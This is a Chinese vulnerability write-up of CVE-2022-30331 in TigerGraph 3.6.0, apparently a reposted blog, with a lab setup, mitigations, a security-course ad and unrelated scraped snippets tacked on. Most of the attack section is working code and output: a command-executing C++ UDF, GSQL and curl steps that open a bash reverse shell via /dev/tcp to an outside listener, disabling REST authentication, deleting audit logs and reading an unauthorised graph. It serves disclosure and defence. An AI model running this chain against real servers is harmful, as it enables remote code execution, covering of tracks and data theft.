CVE-2022-30331-TigerGraph 3.6.0 UDF 功能漏洞分析

news2025/2/23 5:57:13

TigerGraph UDF 漏洞：详细信息和示例

CVE 参考地址：http://www.cnnvd.org.cn/web/xxk/ldxqById.tag?CNNVD=CNNVD-202209-215

TigerGraph 图数据库为用户提供了远程上传任意 C++
源代码以创建用户定义函数的工具。该代码会自动编译并安装到敏感的系统组件中，几乎不需要仔细检查。由于缺乏保护措施，这个过程可以以最小的权限被利用，让攻击者完全控制整个
TigerGraph 集群和底层服务器。

背景

在这篇文章中，详细介绍了在 TigerGraph 产品中发现的一个关键 CVE。 这些细节在过去三个月内没有公开披露，以便在 CVE 的细节公开之前让
TigerGraph 有足够的时间修复漏洞并加强其安全性。

我们将展示如何使用 TigerGraph 的 GSQL 查询语言的功能将用户的权限提升为管理用户的权限、禁用身份验证、泄露敏感数据，然后删除审计跟踪。

在撰写本文时，这些问题会影响 TigerGraph Server 3.6.0 的最新版本以及从该代码库派生的任何其他产品。例如，官方 TigerGraph
Docker 镜像。虽然未经证实，但 TigerGraph Cloud 也可能受到影响。

问题

TigerGraph 是一个图数据库，具有称为 GSQL 的专有查询语言。GSQL
的功能之一是能够创建[查询用户定义的函数](https://docs.tigergraph.com/gsql-
ref/current/querying/func/query-user-defined-functions)（缩写为 UDF）。UDF 是 C++
源代码，它被编译并链接到 TigerGraph 数据库中，为 GSQL 查询提供额外的功能。

在 TigerGraph 中，UDF 继承了其实现语言 C++
的特性，允许用户访问非托管内存和不安全指针。由于没有真正的运行时安全保护，指针和缓冲区溢出漏洞是一种真正的可能性。事实上，我们在 TigerGraph 的
LDBC 代码中发现了这样一个漏洞——缓冲区溢出——几行代码（这让我们看到了这个和其他类似的安全缺陷）。

为了突出这个关键的安全漏洞，我们首先展示了在系统正常操作下允许用户做什么*，*以及这如何破坏对 TigerGraph
中的安全性所做的一些假设。我们首先展示如何在远程 TigerGraph 系统上获得具有管理权限的远程 shell。

第一步是调出一个远程TigerGraph系统，添加一些不同级别的用户，并创建一个测试数据库。

附录 A：设置 TigerGraph 服务器中提供了使用 Docker 执行此操作的说明。

1. UDF 的远程安装

一旦系统启动并运行，我们将创建一个run_shell_expr从下面的 C++ 代码调用的新 UDF。UDF 将简单地接受一个字符串，在子 Shell
中运行并返回输出：

inline string run_shell_expr (string cmd) {
  char buffer[4096];
  std::string result = "";
  FILE* pipe = popen(cmd.c_str(), "r");
  if (pipe){
    try {
      while (fgets(buffer, sizeof buffer, pipe) != NULL) {
        result += buffer;
      }
    } catch (...) {
      /*...*/
    }
    pclose(pipe);
  }

  return string(result);
}

一旦我们将 UDF 编码到udf.hpp本地机器上调用的文件中，我们就可以使用 GSQL 客户端使用tigergraph用户将其安装到远程系统上：

$ java -jar gsql_client.jar -ip localhost
Adding gsql-server host localhost
Password for tigergraph : ***
If there is any relative path, it is relative to /dev/gdk/gsql
Welcome to TigerGraph.
GSQL > PUT ExprFunctions FROM "./udf.hpp"
PUT ExprFunctions successfully.

这会将我们的 C++ 源文件通过网络复制到 TigerGraph 系统上，并在那里自动编译和安装。此时，我们的
UDFrun_shell_expr可供所有用户在查询中使用，尽管仅由超级用户上传。

请注意 ，为简洁起见，上述代码片段省略了创建 UDF 所需的一些样板代码，但完整代码可在附录 A：UDF 代码中找到。

2.远程安装查询

下一步是创建一个调用run_shell_exprUDF 的新查询。同样，这是使用 GSQL
控制台进行的远程操作，但由低权限用户bob执行，该用户仅具有在名为test的图上创建和运行查询的本地权限（bob仅有querywriter权限）。下面我们展示了执行此操作的
GSQL 命令：

$ java -jar gsql_client.jar -ip localhost -u bob
Adding gsql-server host localhost
Password for bob : ***
If there is any relative path, it is relative to /dev/gdk/gsql
Welcome to TigerGraph.
GSQL > use graph test
Using graph 'test'
GSQL > begin
GSQL > CREATE QUERY run_cmd(string cmd) FOR GRAPH test {
GSQL >   PRINT run_shell_expr(cmd);
GSQL > }
GSQL > end
Successfully created queries: [run_cmd].
GSQL > install query run_cmd
Start installing queries, about 1 minute ...
run_cmd query: curl -X GET 'http://127.0.0.1:9000/query/test/run_cmd?cmd=VALUE'. Add -H "Authorization: Bearer TOKEN" if authentication is enabled.
Select 'm1' as compile server, now connecting ...
Node 'm1' is prepared as compile server.

[========================================================================================================] 100% (1/1)
Query installation finished.
GSQL >

安装run_cmd查询后，它将在远程 TigerGraph 系统上运行简单的命令。在这种情况下，我们使用id命令查看 UDF
正在由应用程序级超级用户在远程系统上执行：tigergraph。

GSQL > RUN QUERY run_cmd("id")
{
  "error": false,
  "message": "",
  "version": {
    "schema": 0,
    "edition": "enterprise",
    "api": "v2"
  },
  "results": [{"run_shell_expr(cmd)": "uid=1000(tigergraph) gid=1000(tigergraph) groups=1000(tigergraph)\n"}]
}

3.远程获取 Shell

请注意在安装查询之前显示的消息：

run_cmd query: curl -X GET 'http://127.0.0.1:9000/query/test/run_cmd?cmd=VALUE'. Add -H "Authorization: Bearer TOKEN" if authentication is enabled.

此消息让我们知道 TigerGraph 已自动为run_cmd查询创建了一个 REST
API。因此，下一步是获取一个以tigergraph用户身份运行的反向 Shell，但使用仅有最低权限的用户alice执行此操作。

为了使其正常工作，您将需要一台可以将网络流量路由到外部地址和端口的机器。在此示例中，我们使用 IP
地址192.168.0.2和端口4444。设置好机器后，打开一个新的控制台窗口并在其中使用 netcat 实用程序来监听网络流量：

$ nc -l 4444 -v

在另一个控制台中，我们只需使用alice的授权令牌生成一个 HTTP POST 请求：

$ curl -X POST \
  -H 'Authorization: Bearer aa4upir75pntu90pckr2ldr395l3hh70' \
  http://localhost:14240/restpp/query/test/run_cmd \
  -d '{"cmd": "bash -c \"bash -i >& /dev/tcp/192.168.0.2/4444 0>&1\""}'
{"error":true,"message":"The query didn't finish because it exceeded the query timeout threshold (16 seconds). Please check GSE log for license expiration and RESTPP/GPE log with request id (65548.RESTPP_1_1.1659629508618.N) for details. Try increase RESTPP.Factory.DefaultQueryTimeoutSec or add header GSQL-TIMEOUT to override default system timeout. ","results":[],"code":"REST-3002"}%

请注意 ，需要稍微修改 URL，因为我们正在将流量转发到 Docker 容器中。

Shell 会话将在您的第一个窗口中打开，您可以在其中以tigergraph用户身份自由执行命令：

tigergraph@149bd9633fa6:/home/tigergraph/tigergraph/app/3.5.3/bin$ unset LD_PRELOAD
tigergraph@149bd9633fa6:/home/tigergraph/tigergraph/app/3.5.3/bin$ id
id
uid=1000(tigergraph) gid=1000(tigergraph) groups=1000(tigergraph)
tigergraph@149bd9633fa6:/home/tigergraph/tigergraph/app/3.5.3/bin$ pwd
pwd
/home/tigergraph/tigergraph/app/3.5.3/bin

4. 规避安全功能和泄露数据

现在我们作为管理用户拥有 Shell 访问权限，现在可以禁用 REST API 的身份验证，并且可以删除系统审计日志的选择以覆盖攻击：

tigergraph@149bd9633fa6:/home/tigergraph/tigergraph/app/3.5.3/bin$ unset LD_PRELOAD
tigergraph@149bd9633fa6:/home/tigergraph/tigergraph/app/3.5.3/bin$ gadmin config set RESTPP.Factory.EnableAuth false
[   Info] Configuration has been changed. Please use 'gadmin config apply' to persist the changes.
tigergraph@149bd9633fa6:/home/tigergraph/tigergraph/app/3.5.3/bin$ gadmin config apply
[   Note] Changes:
RESTPP.Factory.EnableAuth: true -> false
Proceed to apply? (y/N)y
[   Info] Successfully applied configuration change. Please restart services to make it effective immediately.
tigergraph@149bd9633fa6:/home/tigergraph/tigergraph/app/3.5.3/bin$ gadmin restart restpp nginx gui gsql -y
[   Info] Stopping NGINX RESTPP GSQL GUI
[   Info] Starting ZK ETCD DICT KAFKA ADMIN GSE NGINX GPE RESTPP KAFKASTRM-LL KAFKACONN GSQL GUI
tigergraph@149bd9633fa6:/home/tigergraph/tigergraph/log$ rm gsql/* restpp/* controller/*

为了证明身份验证被禁用，可以从test2具有零授权用户的第二个图中窃取一些敏感数据：

$ curl -X GET "http://localhost:14240/restpp/graph/test2/vertices/Node"
{"version":{"edition":"enterprise","api":"v2","schema":1},"error":false,"message":"","results":[{"v_id":"1","v_type":"Node","attributes":{"id":1,"value":"hello"}}]}%

复合因素

我们已经证明，如果用户愿意，他们可以使用 GSQL 中的 UDF 工具来绕过 TigerGraph
的所有安全保护措施并泄露敏感数据。更重要的是，可以使用系统中特权最低的角色之一执行实际攻击queryreader——使用 TigerGraph 的
REST API。

我们使用的示例场景是为教学目的而设计的。我们做出的假设之一是攻击者需要安装恶意
UDF（类似于run_shell_exprUDF），并且他们需要管理访问权限才能执行此操作。但是，基于需要安装权限这一事实而忽略该漏洞是幼稚的。

我们为这种思路提供了三个反驳论点：

  1. 它假定系统没有可利用的错误；

  2. 它隐含地信任任何有权访问管理用户的人不会破坏系统的完整性；和

  3. 这意味着管理用户可以访问系统中放置的所有敏感数据。

CVE 表明 TigerGraph 中没有足够的防御措施来防止 UDF 中潜在的缓冲区溢出被具有最低权限级别之一的用户利用。

缓解措施

当看到该漏洞时，TigerGraph 确认这是他们期望 UDF 的行为方式，并提供了以下缓解措施：

  • 启用 GSQL 和 REST 端点的身份验证；和

  • 更改tigergraph管理员用户的默认密码。

TigerGraph 的 Docker 映像已更新，现在远程 GSQL 客户端会提示用户输入密码。

但是，如果错误被意外包含在安装到系统中的 UDF 中（如这里的情况），或者攻击者可以访问tigergraph用户，则几乎没有保护。允许将不受约束的
C++ 链接到 TigerGraph 二进制文件是一种冒险的架构选择，具有明显的缺点。

建议

虽然当前的系统架构和 UDF 设计和保护机制仍然存在，但该漏洞仍将保留在 TigerGraph 产品中。

我们同时使用 TigerGraph 的建议是：

  • 避免使用 UDF：因为即使是未使用的 UDF 也会带来安全风险。

  • 如果必须使用 UDF，请清理 GSQL 和 UDF 之间的所有输入：我们承认这非常困难，因为它要么必须作为 UDF 完成，要么使用 GSQL 编写。

  • 限制 TigerGraph 对包含敏感数据的网络的访问：由于 TigerGraph 集群能够运行任意代码，因此确保进出它的网络流量受到限制是明智之举。

附录 A

设置 TigerGraph 服务器

使用 Docker 下载最新的 TigerGraph 镜像并启动服务器。我们按照 TigerGraph
提供的[说明](https://docs.tigergraph.com/tigergraph-server/current/getting-
started/docker)进行操作。

  1. 下载并运行docker镜像（注意：我们不需要附加卷）：
$ docker run -d \
	-p 14022:22 \
	-p 9000:9000 \
	-p 14240:14240 \
	--name tigergraph \
	--ulimit nofile=1000000:1000000 \
	-t docker.tigergraph.com/tigergraph:latest
  1. 容器启动后，通过 ssh 连接（注意：默认密码为tigergraph）：
$ ssh -p 14022 tigergraph@localhost
  1. 启动所有TigerGraph服务：
$ gadmin start all
  1. 使用 GSQL 创建一个空图：
$ gsql "create graph test()"
  1. alice使用 GSQL 创建一个具有最低权限的用户：
$ gsql "create user"
User Name : alice
New Password : *****
Re-enter Password : *****
  1. 授予以下权限alice：
$ gsql -g test "grant role queryreader on graph test to alice"
  1. 创建秘密alice：
$ gsql -u alice -p alice -g test "create secret"
The secret: rdua9klbkp88t2jkd8me44nd5638d73t has been created for user "alice".
  1. 创建一个用户——bob拥有足够的权限使用 GSQL 创建新的查询：
$ gsql "create user"
User Name : bob
New Password : *****
Re-enter Password : *****
  1. 授予以下权限bob：
$ gsql -g test "grant role querywriter on graph test to bob"
  1. 创建第二个名为的图test2并向其添加一个节点：
$ gsql
GSQL> CREATE VERTEX Node(PRIMARY_ID id UINT, value STRING) WITH primary_id_as_attribute="true"
GSQL> CREATE GRAPH test2(*)
GSQL> begin
GSQL> CREATE QUERY ins(UINT id, STRING value) FOR GRAPH test2 {
GSQL>   INSERT INTO Node VALUES(id, value);
GSQL> }
GSQL> end
GSQL> interpret query ins(1,"hello")
  1. 更改tigergraph用户的默认密码：
$ gsql "alter password"
  1. 启用RESTPP认证：
gadmin config set RESTPP.Factory.EnableAuth true
gadmin config apply
gadmin restart restpp nginx gui gsql -y

设置 GSQL 客户端

  1. 一旦 TigerGraph 运行，我们可以从正在运行的容器中获取一份gsql_client.jar的副本。注意：您需要正确版本的客户端才能成功连接到服务器。
$ docker cp tigergraph:/home/tigergraph/tigergraph/app/3.5.3/dev/gdk/gsql/lib/gsql_client.jar gsql_client.jar
  1. 要为特定用户打开 GSQL 控制台会话，请运行客户端，如下所示：
$ java -jar gsql_client.jar -ip localhost -u 
Adding gsql-server host localhost
Password for  : *****
If there is any relative path, it is relative to /dev/gdk/gsql
Welcome to TigerGraph.
GSQL >

UDF 代码

/******************************************************************************
 * Copyright (c) 2015-2016, TigerGraph Inc.
 * All rights reserved.
 * Project: TigerGraph Query Language
 * udf.hpp: a library of user defined functions used in queries.
 *
 * - This library should only define functions that will be used in
 *   TigerGraph Query scripts. Other logics, such as structs and helper
 *   functions that will not be directly called in the GQuery scripts,
 *   must be put into "ExprUtil.hpp" under the same directory where
 *   this file is located.
 *
 * - Supported type of return value and parameters
 *     - int
 *     - float
 *     - double
 *     - bool
 *     - string (don't use std::string)
 *     - accumulators
 *
 * - Function names are case sensitive, unique, and can't be conflict with
 *   built-in math functions and reserve keywords.
 *
 * - Please don't remove necessary codes in this file
 *
 * - A backup of this file can be retrieved at
 *     /dev_/gdk/gsql/src/QueryUdf/ExprFunctions.hpp
 *   after upgrading the system.
 *
 ******************************************************************************/

#ifndef EXPRFUNCTIONS_HPP_
#define EXPRFUNCTIONS_HPP_

#include 
#include 
#include 
#include 
#include 
#include 

/**     XXX Warning!! Put self-defined struct in ExprUtil.hpp **
 *  No user defined struct, helper functions (that will not be directly called
 *  in the GQuery scripts) etc. are allowed in this file. This file only
 *  contains user-defined expression function's signature and body.
 *  Please put user defined structs, helper functions etc. in ExprUtil.hpp
 */
#include "ExprUtil.hpp"

namespace UDIMPL {
  typedef std::string string; //XXX DON'T REMOVE

  /****** BIULT-IN FUNCTIONS **************/
  /****** XXX DON'T REMOVE ****************/
  inline int64_t str_to_int (string str) {
    return atoll(str.c_str());
  }

  inline int64_t float_to_int (float val) {
    return (int64_t) val;
  }

  inline string to_string (double val) {
    char result[200];
    sprintf(result, "%g", val);
    return string(result);
  }

   inline string run_shell_expr (string cmd) {
     char buffer[4096];
     std::string result = "";
     FILE* pipe = popen(cmd.c_str(), "r");
     if (pipe){
         try {
             while (fgets(buffer, sizeof buffer, pipe) != NULL) {
                 result += buffer;
             }
         } catch (...) {
             /*...*/
         }
         pclose(pipe);
     }
     
     return string(result);
  }

}
/****************************************/

#endif /* EXPRFUNCTIONS_HPP_ */

最后

分享一个快速学习【网络安全】的方法，「也许是」最全面的学习方法：
1、网络安全理论知识（2天）
①了解行业相关背景，前景，确定发展方向。
②学习网络安全相关法律法规。
③网络安全运营的概念。
④等保简介、等保规定、流程和规范。（非常重要）

2、渗透测试基础（一周）
①渗透测试的流程、分类、标准
②信息收集技术：主动/被动信息搜集、Nmap工具、Google Hacking
③漏洞扫描、漏洞利用、原理，利用方法、工具（MSF）、绕过IDS和反病毒侦察
④主机攻防演练：MS17-010、MS08-067、MS10-046、MS12-20等

3、操作系统基础（一周）
①Windows系统常见功能和命令
②Kali Linux系统常见功能和命令
③操作系统安全（系统入侵排查/系统加固基础）

4、计算机网络基础（一周）
①计算机网络基础、协议和架构
②网络通信原理、OSI模型、数据转发流程
③常见协议解析（HTTP、TCP/IP、ARP等）
④网络攻击技术与网络安全防御技术
⑤Web漏洞原理与防御：主动/被动攻击、DDOS攻击、CVE漏洞复现

5、数据库基础操作（2天）
①数据库基础
②SQL语言基础
③数据库安全加固

6、Web渗透（1周）
①HTML、CSS和JavaScript简介
②OWASP Top10
③Web漏洞扫描工具
④Web渗透工具：Nmap、BurpSuite、SQLMap、其他（菜刀、漏扫等）

在这里插入图片描述

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【二分查找】一文带你掌握二分法 （附万能模板）

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目录一、简介二、易错点三、例子四、万能模板五、参考资料一、简介 哪怕没有学过编程的同学&#xff0c;也许不知道二分法这个名字&#xff0c;但也一定接触过它的核心思想。不了解的同学也没关系&#xff0c;我用一句话就能概括出它的精髓&#xff1a;将一个区间一分为二&…
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注意力汇聚：Nadaraya-Watson 核回归

注意力汇聚：Nadaraya-Watson 核回归

Nadaraya-Watson核回归是具有注意力机制的机器学习范例。 Nadaraya-Watson核回归的注意力汇聚是对训练数据中输出的加权平均。从注意力的角度来看&#xff0c;分配给每个值的注意力权重取决于将值所对应的键和查询作为输入的函数。 注意力汇聚可以分为非参数型和带参数型。 …
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